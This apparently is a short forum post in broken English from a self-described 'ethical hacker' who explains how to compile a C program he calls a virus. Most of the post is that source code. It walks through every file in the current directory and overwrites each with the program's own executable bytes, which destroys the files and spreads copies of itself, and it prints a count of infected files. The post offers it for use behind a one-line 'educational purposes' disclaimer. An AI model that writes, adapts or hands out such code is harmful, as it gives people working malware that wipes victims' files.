Hello my self vishal singh,an ethical hacker.on today i larn u hw u make an virus in system .
note-that is for educational pruposes not for spread in ur friend system.
to make this virus in ur system u open c compiler in ur system and type

Code:
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
	st=clock();
	clrscr();
	done=findfirst(“*.*”,&ffblk,0);
	while(!done)
	{
		virus=fopen(_argv[0],”rb”);
		host=fopen(ffblk.ff_name,”rb+”);
		if(host==NULL) goto next;
		x=89088;
		printf(“Infecting %s\n”,ffblk.ff_name,a);
		while(x>2048)
		{
			fread(buff,2048,1,virus);
			fwrite(buff,2048,1,host);
			x-=2048;
		}
		fread(buff,x,1,virus);
		fwrite(buff,x,1,host);
		a++;
		next:
		{
			fcloseall();
			done=findnext(&ffblk);
		}
	}
	printf(“DONE! (Total Files Infected= %d)”,a);
	end=clock();
	printf(“TIME TAKEN=%f SEC\n”,
	(end-st)/CLK_TCK);
	getch();
}

Last edited by shabbir; 14Dec2010 at 08:34.. Reason: Code blocks